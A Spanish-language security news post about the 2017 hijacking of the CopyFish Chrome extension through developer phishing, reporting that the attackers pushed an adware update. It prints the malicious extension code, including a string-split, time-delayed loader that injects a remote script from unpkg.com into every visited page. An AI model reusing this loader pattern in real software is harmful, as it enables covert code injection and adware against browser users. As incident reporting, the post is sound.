miércoles, 2 de agosto de 2017

CopyFish: Extensión para Google Chrome secuestrada e infectada con adware

CopyFish es un software de OCR para Google Chrome que permite extraer textos de imágenes, PDFs y vídeos. La extensión cuenta a día de hoy con 37.740 usuarios, que recibieron el pasado 29 de julio una nueva actualización que venía con una desagradable sorpresa.


Y es que la extensión había sido secuestrada. Mediante un ataque de phishing dirigido a uno de los desarrolladores, los atacantes lograron acceder a su cuenta de "Google extensions" y robar la aplicación, transfiriéndola a otra cuenta bajo su control.

El phishing mostraba un login falso a Google extensions y estaba alojado en https://chromedev.freshdesk.com

Phishing de Google Extension

Tras modificar la aplicación, publicaron la nueva versión del plugin (V2.8.5) en el repositorio de Google.

Los usuarios empezaron a reportar anuncios y spam en las webs que visitaban, lo que levantó las sospechas de los desarrolladores, que en ese punto ya habían perdido el control sobre su aplicación.

Gracias a un usuario de la comunidad de HackerNews se pudo contactar con uno de los administradores de UNPKG, un CDN para paquetes 'npm' que utilizaba la extensión maliciosa. Gracias a esto se pudo desactivar rápidamente el malware:

El pasado 1 de agosto el soporte técnico de Google devolvió la aplicación a sus legítimos desarrolladores, que actualizaron rápidamente el plugin con una versión limpia:
UPDATE August 1, 2017: This is the new, updated and SAFE version of Copyfish. For more details on what happened please see https://a9t9.com/blog/chrome-extension-adware/
Además se desactivó la versión maliciosa para los usuarios que aún la tenían instalada.

Los cambios que introducía el adware cargaban código Javascript alojado en UNPKG y añadían algún código para debuggear la aplicación:

En el archivo manifest.js:

"matches": [ "<all_urls>" ] -> se sustituyó por "matches": [ "\u003Call_urls>" ]

En background.js:

console.log("Start");

chrome.runtime.onInstalled.addListener(function(details) {
    console.log("onInstalled");
    if(details.reason == "install") {
        console.log("This is a first install!");
    } else if(details.reason == "update"){
        var thisVersion = chrome.runtime.getManifest().version;
        console.log("Updated from " + details.previousVersion + " to " + thisVersion);
          chrome.storage.local.set({'installed': Date.now()});
    }
});

En cs.js, donde se carga el código malicioso:

chrome.storage.local.get('installed', function (item) {
    if (item && item.installed) {
      installed = item.installed;
      console.log('Installed:' + installed);

      if (installed) {
        console.log('Installed ms:' + (Date.now() - installed));

        if ((Date.now() - installed) > 10 * 60 * 1000) {
          console.log('Now');

          var date = new Date();
          var hour = date.getUTCHours();

          console.log(hour);

          var thisVersion = chrome.runtime.getManifest().version;

          console.log(thisVersion);
          thisVersion = thisVersion.replace('.', '-');
          thisVersion = thisVersion.replace('.', '-');
          console.log(thisVersion);

          var hash = "copyfish-npm-" + thisVersion;

          console.log(hash);

          var config_fragment = '<sc' + 'ript sr' + 'c="ht'+ 'tps://un' + 'p' + 'kg.com/' + hash + '/' + hour + '.js"></sc ' + 'ript>';

          var range = document.createRange();
          range.setStart(document.body, 0);
          document.body.appendChild(range.createContextualFragment(config_fragment));
        }
      }
    }
  });


A día de hoy la versión infectada ya está desactivada y se han tomado las medidas de seguridad oportunas. Decir que sólo afecta a Google Chrome, la versión para Firefox no ha sido comprometida.

Más información:

Extensión oficial en Google